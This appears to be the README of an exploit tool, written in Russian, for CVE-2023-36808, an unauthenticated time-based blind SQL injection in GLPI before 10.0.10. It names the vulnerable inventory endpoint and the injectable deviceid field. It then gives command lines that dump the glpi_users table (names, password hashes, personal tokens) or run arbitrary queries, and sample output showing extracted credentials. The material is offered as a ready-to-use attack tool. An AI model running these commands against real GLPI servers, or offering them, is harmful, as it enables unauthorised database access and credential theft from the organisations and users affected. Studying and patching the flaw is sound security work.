
Эксплойт для слепой SQL-инъекции на основе времени для CVE-2023-36808 в GLPI < 10.0.10. Извлекает учётные данные пользователей и содержимое базы данных через неаутентифицированную XML-конечную точку инвентаризации с оптимизацией бинарного поиска.
Версии GLPI < 10.0.10 предоставляют неаутентифицированную конечную точку XML-инвентаризации по адресу /front/inventory.php.
Поле <deviceid> вставляется непосредственно в SQL-запрос без санитизации:
SELECT id FROM glpi_agents WHERE deviceid = '<INJECT>'
Аутентификация не требуется. Уязвимость позволяет полное чтение базы данных посредством слепой SQL-инъекции.
Этот скрипт использует временную слепую инъекцию с бинарным поиском для извлечения данных значительно быстрее, чем универсальные инструменты.
pip install -r requirements.txt
# Dump the full glpi_users table (name, password hash, personal_token)
python3 exploit.py http://<TARGET>/glpi
# Custom SQL query
python3 exploit.py http://<TARGET>/glpi --query "SELECT @@version"
# Tune timing (lower sleep = faster, increase if you get wrong results)
python3 exploit.py http://<TARGET>/glpi --sleep 0.3
# Increase parallel request cap (default 2, raise on high-latency remote targets)
python3 exploit.py http://<TARGET>/glpi --parallel 4
[*] CVE-2023-36808 - GLPI Unauthenticated SQLi
[*] Target : http://10.0.0.1/glpi/front/inventory.php
[*] Sleep : 0.5s Threshold: 0.35s Parallel: 2
[+] Target reachable
[+] Injection confirmed
[*] User 1/7
name glpi
password $2y$10$xN.12pQxSLlQdMJzP26EWe...
personal_token xxxx
...